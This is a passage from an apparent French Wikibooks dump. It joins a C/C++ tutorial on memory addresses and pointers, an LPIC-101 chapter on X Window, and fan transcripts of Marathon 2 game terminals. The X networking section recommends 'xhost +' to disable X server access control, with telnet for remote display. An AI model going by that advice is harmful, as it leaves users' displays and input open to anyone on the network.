chaînes de caractères : pointeurs et tableaux à la fois !]] |- | style="width:20px;" | || [[Programmation C C plus plus Allocation dynamique de mémoire|Allocation dynamique de mémoire]] |- | style="width:20px;" | || [[Programmation C C plus plus Pointeurs et références de fonctions|Pointeurs et références de fonctions]] |- | style="width:20px;" | || [[Programmation C C plus plus Paramètres de la fonction main - ligne de commande|Paramètres de la fonction main - ligne de commande]] |- | style="width:20px;" | || [[Programmation C C plus plus DANGER|DANGER]] |- | colspan="2" style="text-align:right;" | [http://casteyde.christian.free.fr/online/cours_cpp/book1.html Livre original de C. Casteyde] |} Programmation C C plus plus Pointeurs et références 4582 16744 2005-07-18T23:30:30Z Max81 419 {{Programmation C C plus plus Pointeurs et références}} Les pointeurs sont des variables très utilisées en C et en C++. Ils doivent être considérés comme des variables, il n'y a rien de sorcier derrière les pointeurs. Cependant, les pointeurs ont un domaine d'application très vaste. Les références sont des identificateurs synonymes d'autres identificateurs, qui permettent de manipuler certaines notions introduites avec les pointeurs plus souplement. Elles n'existent qu'en C++. Programmation C C plus plus Notion d'adresse 4583 16746 2005-07-18T23:39:07Z Max81 419 {{Programmation C C plus plus Pointeurs et références}} == Notion d'adresse == Tout objet manipulé par l'ordinateur est stocké dans sa mémoire. On peut considérer que cette mémoire est constituée d'une série de « cases », cases dans lesquelles sont stockées les valeurs des variables ou les instructions du programme. Pour pouvoir accéder à un objet (la valeur d'une variable ou les instructions à exécuter par exemple), c'est-à-dire au contenu de la case mémoire dans laquelle cet objet est enregistré, il faut connaître le numéro de cette case. Autrement dit, il faut connaître l'emplacement en mémoire de l'objet à manipuler. Cet emplacement est appelé l'adresse de la case mémoire, et par extension, l'adresse de la variable ou l'adresse de la fonction stockée dans cette case et celles qui la suivent. Toute case mémoire a une adresse unique. Lorsqu'on utilise une variable ou une fonction, le compilateur manipule l'adresse de cette dernière pour y accéder. C'est lui qui connaît cette adresse, le programmeur n'a pas à s'en soucier. Image:Programmation C C plus plus fig4-1.png 4584 16747 2005-07-18T23:42:20Z Max81 419 GFDL GFDL Programmation C C plus plus Notion de pointeur 4585 16749 2005-07-18T23:44:19Z Max81 419 {{Programmation C C plus plus Pointeurs et références}} == Notion de pointeur == Une adresse est une valeur. On peut donc stocker cette valeur dans une variable. Les pointeurs sont justement des variables qui contiennent l'adresse d'autres objets, par exemple l'adresse d'une autre variable. On dit que le pointeur pointe sur la variable pointée. Ici, pointer signifie « faire référence à ». Les adresses sont généralement des valeurs constantes, car en général un objet ne se déplace pas en mémoire. Toutefois, la valeur d'un pointeur peut changer. Cela ne signifie pas que la variable pointée est déplacée en mémoire, mais plutôt que le pointeur pointe sur autre chose. Afin de savoir ce qui est pointé par un pointeur, les pointeurs disposent d'un type. Ce type est construit à partir du type de l'objet pointé. Cela permet au compilateur de vérifier que les manipulations réalisées en mémoire par l'intermédiaire du pointeur sont valides. Le type des pointeur se lit « pointeur de ... », où les points de suspension représentent le nom du type de l'objet pointé. Les pointeurs se déclarent en donnant le type de l'objet qu'ils devront pointer, suivi de leur identificateur précédé d'une étoile : int *pi; // pi est un pointeur d'entier. Note : Si plusieurs pointeurs doivent être déclarés, l'étoile doit être répétée : int *pi1, *pi2, j, *pi3; Ici, pi1, pi2 et pi3 sont des pointeurs d'entiers et j est un entier. [[Image:Programmation_C_C_plus_plus_fig4-1.png]] Il est possible de faire un pointeur sur une structure dans une structure en indiquant le nom de la structure comme type du pointeur : typedef struct nom { struct nom *pointeur; /* Pointeur sur une structure "nom". */ ... } MaStructure; Ce type de construction permet de créer des listes de structures, dans lesquelles chaque structure contient l'adresse de la structure suivante dans la liste. Nous verrons plus loin un exemple d'utilisation de ce genre de structure. Il est également possible de créer des pointeurs sur des fonctions, et d'utiliser ces pointeurs pour paramétrer un algorithme, dont le comportement dépendra des fonctions ainsi pointées. Nous détaillerons plus loin ce type d'utilisation des pointeurs. Image:Point en coordonnees polaires.png 4586 16781 2005-07-19T07:59:10Z Jim2k 289 Image issue du wikibook anglais à l'adresse http://en.wikibooks.org/wiki/Image:Polar_coordinates.PNG Image issue du wikibook anglais à l'adresse http://en.wikibooks.org/wiki/Image:Polar_coordinates.PNG Image:Coordonnees polaires.png 4587 16782 2005-07-19T08:02:07Z Jim2k 289 Image issue du wikibook anglais à l'adresse http://en.wikibooks.org/wiki/Image:Polar_coordinates.PNG Image issue du wikibook anglais à l'adresse http://en.wikibooks.org/wiki/Image:Polar_coordinates.PNG X Window (LPIC101) 4588 28866 2006-01-13T21:37:50Z JMRyan 1016 Lien à la version anglaise. {{LPIC101}} === Vue d'ensemble === * [[1.110.1 Installation et configuration d'XFree86 |Installation et configuration d'XFree86]] * [[1.110.2 Installation d'un gestionnaire d'affichage | Installation d'un gestionnaire d'affichage]] * [[1.110.4 Installation et personnnalisation d'un environnement de gestion de fenêtres | Installation et personnalisation d'un environnement de gestion de fenêtres]] == Installer et Configurer XFree86 == === Objectifs === Description : ''Les candidats devraient être en mesure de configurer et installer un serveur X et un serveur de polices. Cet objectif regroupe la vérification du support de la carte video et du moniteur par le serveur X, ainsi que l'adaptation des réglages de X pour la carte et le moniteur. Cela inclut aussi l'installation des polices, d'un serveur de polices et de configurer X pour l'utilisation du serveur de polices (ce qui demande de modifier manuellement /etc/X11/XF86Config dans la section "Files").'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;XF86Setup ;xf86config ;xvidtune ;/etc/X11/XF86Config ;.Xresources X est un système de fenêtrage qui fournit les fonctions graphiques de base pour Linux. Conçu pour fournir une GUI (Graphic User Interface) à n'importe quel autre système à travers un réseau, quel que soit le Système d'Exploitation. Repose sur le modèle client/serveur. X n'est pas un module de l'OS. C'est une application. Le serveur X standard de Linux est Xfree86. Le fichier de traces du fonctionnement de XFree86 se trouve à l'adresse /var/log/XFree86.0.log. === Configuration === Si vous tapez "XFree86 -configure", cela va analyser votre matériel et générer automatiquement un fichier de configuration correspondant à votre matériel. Cependant, pour les souris PS/2, on a souvent besoin de modifier ce fichier de configuration manuellement, de ""Device" "/dev/mouse"" jusqu'à ""Device" "/dev/psaux"" === Démarrer et arrêter X === Pour démarrer X, on peut utiliser la commande : xdm Démarrage automatique de startx lors du démarrage de Linux au niveau 5 startx Lors de l'authentification au niveau 3 xinit Lorsque le fichier .xinitrc n'existe pas. init Démarrage de X-Windows au niveau 5 de Linux Pour arrêter X, on peut utiliser: <CTRL>+<ALT>+<BACKSPACE> init A un niveau inférieur à Linux 5, arrête X-Windows. Configuration de X Pour configurer X sur un système, on peut utiliser XF86Setup. Le programme va générer un fichier de configuration qui sera utilisé par le serveur XFree86. Pour régler l'écran sous X, utilisez Xfine2. Sous X, l'utilisateur peut configurer chaque paramètre convenable de l'affichage graphique. Polices d'affichage à l'écran, styles Comportement du dispositif de pointage Couleurs d'affichage Gestionnaire de fenêtre Le réglage peut être effectué par stratégie de groupe ou par utilisateur. .xinitrc est le gestionnaire de fenêtres et de style par défaut à utiliser avec la commande startx. .Xdefaults est utilisé pour configurer les paramètres du pointeur, les couleurs, polices, etc... === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Installer un gestionnaire d'affichage == === Objectifs === Description : ''Le candidat devrait être en mesure d'installer et de configurer un gestionnaire d'affichage. Cet objectif inclut le démarrage ou l'arrêt du gestionnaire d'affichage et le changement des préférences d'affichage, ainsi que le changement de le nombre de couleurs (pixel/bit) par défaut du gestionnaire d'affichage. Cela inclut aussi la configuration du gestionnaire d'affichage pour une utilisation sur un terminal X. Cet objectif couvre les gestionnaires d'affichage XDM (X Display Manager), GDM (Gnome Display Manager) et KDM (KDE Display Manager).'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/etc/inittab ;/etc/X11/xdm/* ;/etc/X11/kdm/* ;/etc/X11/gdm/* X a besoin de gestionnaires de fenêtres pour manipuler toutes les applications graphiques. Déplacer, redimensionner. Ouvrir et fermer. Agrandir, réduire, mettre en icône. Barres de titres L'apparence des fenêtres est inclus dans le gestionnaire de fenêtres.<u><small>shouldn't this be in Widget sets not WMs?</small></u> Fournir des bureaux virtuels. Les distributions Linux disposent d'un grand nombre de gestionnaire de fenêtres:<ul> <li>Fvwm2 Motif-like look, highly customizable</li> <li>WindowMaker Next Step look, fast and lean</li> <li>Wm2 Ultra lean</li> <li>Olwm Open look (Sun)</li> </ul> The desktops bring on top of X Window managers more facilities:<ul> <li>[http://www.kde.org KDE]: based on Qt, current at the top of market</li> <li>[http://www.gnome.org GNOME]: The "GNU" Desktop, based on Gtk+-v2</li> </ul> === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Installer & configurer un gestionnaire d'environnement graphique == === Objectifs === Description : ''Les candidats devront être en mesure de paramétrer le bureau et le gestionnaire de fenêtres globalement pour démontrer leur maîtrise des procédures de configuration des menus du gestionnaire de fenêtres et/ou des menus panel du bureau (desktop panel). Cet objectif inclut la sélection et la configuration du terminal X choisi (xterm, rxvt, aterm, etc.), la vérification et le respect des dépendances des librairies nécessaires aux applications X, l'exportation d'un affichage X vers une station de travail externe.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;.xinitrc ;.Xdefaults ;xhost ;variable d'environnement DISPLAY === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == X en réseau == === Objectifs === X travaille en environnement client/serveur, où l'application est le client et le serveur est l'application qui sait de quelle manière fournir les services. Dans un système autonome, les deux applications sont situées sur la même machine. Dans un système en réseau, l'utilisateur peut executer une application X installée sur une machine distante et effectuer l'affichage sur un ordinateur local. L'avantage de disposer d'un serveur X d'applications est : L'installation d'applications locales n'est pas nécessaire. Le système local n'a pas besoin d'être performant. L'accès aux données ne se fait pas localement. === X en réseau === Export d'une application simple : Pour effectuer cette manipulation, faire : startx sur le serveur. xhost + Autoriser l'absence d'authentification sur le serveur. telnet serveur à partir du client et paramétrer la variable DISPLAY pour le client. Export DISPLAY=clienthost:0.0 Export du gestionnaire de fenêtres : Pour effectuer cette manipulation, faire : Activer xdmcp avec gdmsetup sur le serveur Utiliser Xnest pour connecter le client au serveur en diffusion === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] 1) Logging In your system with the failsafe display manager. Execute kde or gdm. Exit kde Logout from failsafe. 2) After logging into your system try to type the following key combinaisons. CTRL-ALT-F1, CTRL-ALT-F2,...CTRL-ALT-F7 What it's happening? 3) When you use startx, what is the file where you define the default window manager ? 4) Try to install and use XDMCP whith your neighbor. [[en:LPI Linux Certification/LPIC1 Exam 101/The X Window System]] Marathon - Marathon 2 - Garrison 4592 18588 2005-08-05T16:33:32Z W'rkncacnter 327 /* Terminal 2 : 2{{e}} message */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] :[[Marathon - Marathon 2 - Garrison|Garrison]] ::[[Marathon - Marathon 2 - Garrison#Ex Cathedra|7. Ex Cathedra]] ::[[Marathon - Marathon 2 - Garrison#Nuke And Pave|8. Nuke And Pave]] ::[[Marathon - Marathon 2 - Garrison#Curiouser and Curiouser...|9. Curiouser and Curiouser...]] :[[Marathon - Marathon 2 - Citadel|Citadel]] :[[Marathon - Marathon 2 - Durandal|Durandal]] :[[Marathon - Marathon 2 - Captured|Captured]] :[[Marathon - Marathon 2 - Blake|Blake]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Ex Cathedra == === Terminal 1 === {{Terminal MarathonR 1||X-nil 37.9@cjl1//vck3}} {{Terminal MarathonV 2|| X-nil 37.9@cjl1//vck3 J'ai découvert une zone où les lignes de communication Pfhor sont exposées et j'ai codé un virus pour attaquer leur système de défense au niveau de ce point faible. L'attaque à pour but de corrompre les drones de défense Pfhor, qui sont contrôlés à distance par un ordinateur central, et de les retourner contre les Pfhor. Cette zone est un temple Pfhor, pour leur religion pathétiquement ennuyeuse. Peut-être pensent-ils que la sainteté de ce lieu le protègera. }} {{Terminal MarathonV 2|| X-nil 37.9@cjl1//vck3 Je téléporterai le paquet du virus sur l'autel principal du temple. Tu récupérera l'instrument de leur division à cet endroit et tu l'insérera dans le panneau de commande sous-marin que j'ai marqué à gauche sur la carte. Après ton arrivée les Pfhor fermeront sûrement les portes menant au temple. Tu devrais pouvoir les ouvrir et détruisant leur source d'alimentation, qui est localisée derrière une porte dans une grotte voisine. Tu auras certainement à nager un peu pour y arriver. Mon virus n'est pas très sélectif, et désactivera ce terminal après que tu l'ai mis en place. Il y a un autre terminal dans le temple ; j'essayerais de t'y contacter. }} {{Terminal MarathonR 3||X-nil 37.9@cjl1//vck3}} === Terminal 2 === {{Terminal MarathonR 1||e.thra 3-cab<783.7*78>}} {{Terminal MarathonV 2|| Le virus fonctionne comme prévus, et j'ai pris avec succès le contrôle des drones de défense Pfhor. Les drones enragés sont en train de causer une panique généralisée parmi les défenseurs Pfhor restant. Nous devons appuyer l'attaque avant qu'ils ne se réorganisent. }} {{Terminal MarathonR 3||e.thra 3-cab<783.7*78>}} == Nuke And Pave == === Terminal 1 === {{Terminal MarathonR 1||T-m 459-c94}} {{Terminal MarathonV 2|| Comme c'est amusant de te regarder travailler. Berhnard avait peur de toi. Il n'a jamais rêvé t'utiliser comme je le fait. Quel imbécile. C'était avant que je puisse lui reparler, à un moment où il m'aurait écrasé s'il avait découvert ma montée en puissance. J'aurais souhaité lui faire connaître l'humiliation qu'il m'a infligée, mais il est mort avant que j'ai eu l'occasion de le faire. }} {{Terminal MarathonR 3||T-m 459-c94}} == Curiouser and Curiouser... == === Terminal 1 === {{Terminal MarathonB 1||Z-4 G-3 A-4c @394}} {{Terminal MarathonV 2|| Z-4 G-3 A-4c @394 Encore une belle journée dans la garnison Pfhor. Désolé de t'avoir lâché si loin de ce terminal mais les lieux sont inondés et remplis de machines Pfhor explosées ou court-circuitées. Ma capacité de téléporter sans erreurs à été altérée par les interférences électromagnétiques. Notre petite astuce avec les drones de défense Pfhor n'a pas marché aussi bien que je l'espérait. Apparemment, quand les #%*@!ng Nar ont essayé de reprendre Epsilon Eurobea aux Pfhor il y a une vingtaine d'années, ils ont utilisé la même tactique, et nos amis ici étaient donc déjà préparés à une telle attaque. }} {{Terminal MarathonV 2|| La garnison est inondée, et avec les eaux sont venus les F'lickta qui y vivent. Les Pfhor sont en train de les combattre dans toute la station. Pendant qu'ils sont occupés, je voudrais que tu te connecte à un ordinateur Pfhor. Tu va d'abord devoir détruire au moins deux circuit de sécurité, et ensuite trouver le terminal lui-même. Peut-être y apprendrons-nous quelque chose de nouveau. Amuse toi bien. }} {{Terminal MarathonB 3||Z-4 G-3 A-4c @394}} === Terminal 2 : 1{{er}} message === {{Terminal MarathonV 1||Atc &33c.3ckl2}} {{Terminal MarathonV 2|| C'est cool d'avoir passé cette porte, mais je ne vais pas encore te laisser partir. }} === Terminal 2 : 2{{nd}} message === {{Terminal MarathonB 1||Atc <u>&33c</u>.3ckl2}} {{Terminal MarathonV 2|| Je suis déçu. L'ordinateur Pfhor n'était pas vraiment au courant et ne contenait pas d'informations utiles pour nous. La technologie Pfhor parait assez évoluée, mais leurs programmeurs doivent être incompétents. J'ai téléchargé les informations contenues dans l'ordinateur puis je l'ai détruit. Il est clair que les Pfhor ne savent rien sur le onzième clan. Nous devons chercher dans l'ancienne citadelle S'pht maintenant. }} {{Terminal MarathonB 3||Atc <u>&33c</u>.3ckl2}} <center>[[Marathon - Marathon 2 - Volunteers|< Volunteers]] • [[Marathon - Marathon 2 - Citadel|Citadel >]]</center> Marathon - Marathon 2 - Citadel 4593 20170 2005-08-27T14:34:22Z W'rkncacnter 327 /* Terminal 5 */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] :[[Marathon - Marathon 2 - Garrison|Garrison]] :[[Marathon - Marathon 2 - Citadel|Citadel]] ::[[Marathon - Marathon 2 - Citadel#Eat It, Vid Boi!|10. Eat It, Vid Boi!]] ::[[Marathon - Marathon 2 - Citadel#The Hard Stuff Rules...|11. The Hard Stuff Rules...]] ::[[Marathon - Marathon 2 - Citadel#Bob's Big Date|12. Bob's Big Date]] ::[[Marathon - Marathon 2 - Citadel#Six Thousand Feet Under|13. Six Thousand Feet Under]] :[[Marathon - Marathon 2 - Durandal|Durandal]] :[[Marathon - Marathon 2 - Captured|Captured]] :[[Marathon - Marathon 2 - Blake|Blake]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Eat It, Vid Boi! == === Terminal 1 : 1{{er}} message === {{Terminal MarathonJ 1||<Pragma Junction ^7921 Engaged>}} {{Terminal MarathonV 2|| Je t'ai transporté dans la citadelle S'pht antique. La tour principale est inaccessible par téléportation directe, à l'évidence parce que certaines des défenses de la citadelle sont encore fonctionnelles. Cette ancienne citadelle fut le lieu de la bataille qui conclu la courte guerre entre les S'pht et les Pfhor. Réussir à pénétrer dans la tour principale sera difficile, parce que l'entrée du rez-de-chaussée est fermée et bloquée par un fossé. Tu va devoir passer ces deux obstacles pour accéder au bâtiment. }} {{Terminal MarathonJ 3||<Pragma Junction ^7921 Engaged>}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonJ 1||<Pragma Junction ^7921 Engaged>}} {{Terminal MarathonV 2|| <Pragma Junction ^7921 Engaged> Si tu persiste à tourner en rond ici alors que notre temps est limité, je pourrais décider qu'après tout tu n'est pas si spécial que ça et te téléporter dans l'espace. '''VA DANS LA TOUR !''' Toujours Rampant,<br /> Durandal }} {{Terminal MarathonJ 3||<Pragma Junction ^7921 Engaged>}} === Terminal 2 : 1{{er}} message === {{Terminal MarathonJ 1||<Mnr *@1cz: 9cm2>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Quand les S'pht se combattaient violemment, quand la haine brûlait les tissus de ses ennemis, un clan, le S'pht'Kr, reclus et solitaire, abandonna Lh'owon. Le clan partit, s'arrêtant sur K'lia, la troisième soeur de Lh'owon, pour y bâtir leur nouveau lieu de vie, libérés de leurs frères faisant la guerre. Durant mille et une orbites, le clan fut oublié, une mémoire perdue derrière la fumée du champ de bataille, jusqu'à ce que le tout puissant Yrro envoie K'lia voler dans les étoiles. }} {{Terminal MarathonJ 3||<Mnr *@1cz: 9cm2>}} === Terminal 2 : 2{{nd}} message === {{Terminal MarathonJ 1||<Mnr *@1cz: 9cm2>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Les feux brûlerent, et les marais des hameaux à l'ouest furent réduits en cendres, noircissant l'eau. Les attaques furent impitoyables et cruelles, pas un S'pht ne fut épargné [?Cohérent]$5 Ainsi commença la première guerre entre les S'pht'Mnr et les S'pht'Lhar. }} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ La guerre des marais entre les S'pht'Mnr et les S'pht'Lhar laissa les champs de bataille remplis de cadavres, les tombes des marais pleines- Là-haut, K'lia refusa de voir le carnage sur Lh'owon. Elle a fui au plus lointain, laissant derrière elle les marais sacrés asséchés. Quand l'eau se retira, le sable rouge des morts se diffusa dans Lh'owon. }} {{Terminal MarathonJ 3||<Mnr *@1cz: 9cm2>}} === Terminal 3 : 1{{er}} message === {{Terminal MarathonJ 1||<Pragma Junction ^7921 Engaged>}} {{Terminal MarathonV 2|| <Pragma Junction ^7921 Engaged> On va bientôt avoir de la visite. Le bras ouest du Groupe de Bataille Sept des Pfhor est en route et devrais être ici dans environ vingt heures. Le Groupe de Bataille Sept représente plus de dix pour-cent de la flotte Pfhor. Je doute que je pouisse les retenir avec un seul vaisseau, mais j'essayerais. }} {{Terminal MarathonJ 3||<Pragma Junction ^7921 Engaged>}} === Terminal 3 : 2{{nd}} message === {{Terminal MarathonJ 1||<Pragma Junction ^7921 Engaged>}} {{Terminal MarathonV 2|| <Pragma Junction ^7921 Engaged> Arrête de faire l'imbécile. Ne t'ai-je pas dit qu'une partie significative de la plus puissante flotte galactique des environs se dirige dans notre direction ? '''RETOURNE DANS LA TOUR !''' }} {{Terminal MarathonJ 3||<Pragma Junction ^7921 Engaged>}} === Terminal 4 : 1{{er}} message === {{Terminal MarathonJ 1||<Trn 36 ap&1cz:: 9cm2>}} {{Terminal MarathonJ 2|| Le tricheurs ne gagnent pas en vrai,<br /> et les gagnant ne <u>trichent</u> pas,<br /> Tant qu'on ne parle pas de politique. }} === Terminal 4 : 2{{nd}} message === {{Terminal MarathonJ 1||<Trn 36 ap&1cz:: 9cm2>}} {{Terminal MarathonV 2|| À cause de l'arrivée imminent de la flotte Pfhor, les humains et mes S'pht ont commencé à accroître les défenses de leur quartier général. Même si je devais les abandonner, ils pourront tenir pendant longtemps. Je vais te téléporter aux étages supérieurs de la citadelle. Si tout va bien, nous pourrons trouver quelques informations utiles en haut. Nous devons trouver ce qu'il est arrivé au onzième clan S'pht. }} {{Terminal MarathonJ 3||<Trn 36 ap&1cz:: 9cm2>}} == The Hard Stuff Rules... == === Terminal 1 : 1{{er}} message === {{Terminal MarathonJ 1||D-over expires<3021.7.30.20.27.49>}} {{Terminal MarathonV 2|| Durant les dernières heures de la guerre S'pht-Pfhor, les derniers S'pht libres se sont réfugiés dans la Citadelle de l'Antiquité. Nous sommes à la recherche de la Citadelle afin d'en apprendre le plus possible sur ces S'pht et ce qu'ils ont fait durant leurs derniers moments. Les Pfhor ne semblent pas avoir attaqué la Citadelle directement. Les radiations encore présentes dans la zone après un millier d'année suggèrent qu'ils ont irradié la Citadelle et laissé les S'pht périr lentement. Ce n'est pas leur style. Chacun des dix clans y étaient représenté, et j'espère qu'ils ont découvert quelque chose avant d'être débordés par les Pfhor. Trouve le plus d'ordinateur S'pht que tu pourras, afin que je puisse y rechercher des informations utiles. }} {{Terminal MarathonJ 3||D-over expires<3021.7.30.20.27.49>}} === Terminal 2 === {{Terminal MarathonJ 1||Rr2Shr9<995.52.194.63>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ J'ai saisi la signification de la dissection de certains de nos captifs. Ces créatures, toutes répugnantes qu'elles sont, sont sensibles, mais leurs corps ne sont liés à aucun mécanisme. Elles peuvent survivre sans leurs armures et leurs bâtons Jusqu'à présent, la sensibilité avait toujours requis une symbiose cyber-organique. Notre science a mené à cette conclusion. Nous pouvons même doter nos animaux de sensibilité avec des implants cyber-organiques. Cependant, ces vils conquérants sont sensibles sans être liés à aucune machine. }} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Ceci mène à une discussion. Peut-être que notre propre sensibilité est induite par l'opération de naissance, et qu'à un moment donné nous n'étions pas plus sensibles qu'un F'lickta. Si une telle hypothèse fondamentale sur notre espèce est fausse, alors peut-être que les mythes étaient vrais, et que nous sommes les vrais serviteurs de Yrro et de Pthia. Peut-être nous ont-ils conçu, ou peut-être sommes nous une partie d'un groupe plus important qui est venu à Lh'owon. Hélas, je crois que nous ne le saurons jamais. }} {{Terminal MarathonJ 3||Rr2Shr9<995.52.194.63>}} === Terminal 3 === {{Terminal MarathonJ 1||Rr2Shr9<995.52.194.63>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Les bêtes ont arrêté d'attaquer, et ont couru vers leurs nacelles. Nous pensions qu'ils avaient l'intention de se rendre, mais le bombardement a recommencé. Les bombardement aériens brûlants. Nous évacuons vers les niveaux inférieurs de la Citadelle, mais ils vont finir par nous toucher à cet endroit aussi. J'ai reçu une dose mortelle. Je me sent comme le Hf'ra'rkt'tal à la fin de sa danse d'accouplement. }} {{Terminal MarathonJ 3||Rr2Shr9<995.52.194.63>}} === Terminal 4 === {{Terminal MarathonJ 1||Mnr393-fec&1}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ '''Rapport au Dirigeant'''<br /> ''Procedures Chirurgicales Douteuses'' Et comme si ce n'était pas encore assez, les vils bipèdes ont écarté ses organes sensitifs afin de faire de la place pour ce petit objet oblong qu'ils ont installé dans son crâne - ils ne l'ont même pas fait en deux opérations distinctes. Je devine qu'ils pensaient que l'objet les déplacerait de toute façon - pourquoi s'embêter ! Ce qui m'a troublé c'est la manière dont ils l'ont fait. Ce n'était pas par une procédure standard. Je peut vous le dire. }} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ '''Rapport au Dirigeant'''<br /> ''Procedures Chirurgicales Douteuses'' Le seul instrument chirurgical utilisé pendant l'opération était le dispositif qui tenait le petit objet oblong - ils ont essayé plusieurs fois de faire une incision avec leurs doigts afin d'y placer l'objet, avant d'abandonner et d'insérer l'objet directement. Et il a été inséré plutôt rapidement. Mais je pense que c'était pour s'assurer que tous les organes sensoriels soient bien déplacés. }} {{Terminal MarathonJ 3||Mnr393-fec&1}} === Terminal 5 === {{Terminal MarathonJ 1||Mnr46<41.9.599.293>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ L'Ancien a prédit la fermeture des fenêtre de la Citadelle, et nous avons rendu sa vision vraie. Ensuite l'Ancien a prédis notre victoire, et nous avons écrasé les bipèdes. De nouveau ces bêtes reviennent et combattent les murs anciens de la Citadelle et tous les clans unis. Notre monolithe ne tombera jamais. Bon nombre d'entre nous n'a jamais été guidé si rapidement et résolument. Respirer ici permet de comprendre l'unité. }} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Le Chef m'a dit que les anciens l'ont annoncé il y a plusieurs jours. Nous pouvons tous en sentir les effets. Les cieux fâchés de Lh'owon ont finalement été nettoyés. J'ai quitté les marais du Mnr avec sept des miens. Je suis sûr qu'ils sont partis en fumée. }} {{Terminal MarathonJ 3||Mnr46<41.9.599.293>}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonJ 1||E-over expires<3021.7.30.20.27.49>}} {{Terminal MarathonV 2|| Le Groupe de Bataille Sept est arrivé plus tôt que prévu. La flotte Pfhor consiste en sept corvettes similaires à la mienne, quatre destroyer, un cuirassé et un transporteur d'assaut. Ils passent en ce moment les orbites des planètes extérieures, et se dirigent vers Lh'owon. Il semble que les S'pht se soient repliés dans des bunkers sous la Citadelle lors du bombardement Pfhor final, il y a mille ans. Tu va fouiller ces bunkers. Souvent, lors des dernières minutes de la vie, la vérité est dévoilée. Peut-être qu'avant leur annihilation les S'pht ont réalisé quelque chose qui pourra nous aider. Fait attention, la flotte Pfhor en approche a déjà renforcé sa garnison sur Lh'owon grâce à des transporteurs longue portée. }} {{Terminal MarathonJ 3||E-over expires<3021.7.30.20.27.49>}} == Bob's Big Date == === Terminal 1 === {{Terminal MarathonV 1||fatum.celer<793.514.255.255>}} {{Terminal MarathonV 2|| Tu est dans les vieux bunkers sous la Citadelle de l'Antiquité. Les membres sacrés de chacun des dix clans S'pht se réunirent ici pendant les derniers jours de la guerre durant laquelle les Pfhor réduisirent en esclavage les S'pht. Je crois qu'en leur époque de trouble, ces anciens S'pht trouvèrent un moyen de contacter le clan perdu, mais furent tués avoir de pouvoir l'utiliser. Sous terre à ton niveau se trouvent deux vieux ordinateurs S'pht. Trouve les afin que je puisse télécharger les données qu'ils contiennent. Nous devons découvrir ce que les clans ont appris après s'être rassemblés. Je ne peut pas te téléporter avec précision depuis un terminal placé si profondément sous la Citadelle, ainsi tu doit trouver un endroit plus proche de la surface pour minimiser les interférences. }} {{Terminal MarathonV 3||fatum.celer<793.514.255.255>}} === Terminal 2 === {{Terminal MarathonJ 1||dizzy.from.5.63.Nma.23.1}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Les nouvelles de la destruction de S'pht'Hra a tout attristé, mais il y a eu une réunion des Anciens pour la première fois dans la mémoire récente. Si il y a une chose qui puisse nous sauver de ces agresseurs, ce sera l'unification des clans. }} {{Terminal MarathonJ 3||dizzy.from.5.63.Nma.23.1}} === Terminal 3 === {{Terminal MarathonJ 1||antiquus<304.92.38.82>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Avant de disparaître, le Maître appela les onze Anciens. Un par un ils vinrent devant lui pour entendre ses mots. Chacun entendit le noms de son clan, S'pht'Lhar, S'pht'Hra, S'pht'Nma, S'pht'Kah, S'pht'Vir, S'pht'Yra, S'pht'Val, S'pht'Shr, S'pht'Mnr, S'pht'Yor, et S'pht'Kr. }} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Ainsi les clans sacrés se virent donner leurs noms et rangs. Les onze nombres, et les onze clans sacrés. Les derniers mots du maître vinrent aux Anciens : "N'interprétez pas vos rangs et numéro comme de la supériorité. L'enfant le plus âgé peut apprendre du plus jeune." }} {{Terminal MarathonJ 3||antiquus<304.92.38.82>}} === Terminal 4 : 1{{er}} message === {{Terminal MarathonV 1||virtus.incertus<77.7777.777.7>}} {{Terminal MarathonV 2|| Tu doit te dépêcher. La flotte Pfhor est suffisamment proche pour que je puisse identifier son navire amiral : le cuirassé Khfiva. Si le Khfiva est encore le vaisseau de l'amiral Tfear, alors je n'ai aucune chance de le battre lors de la bataille qui va se dérouler. Tfear est un brillant stratège, et le plus vieux amiral Pfhor en activité. Je suis sûr que sa liste de 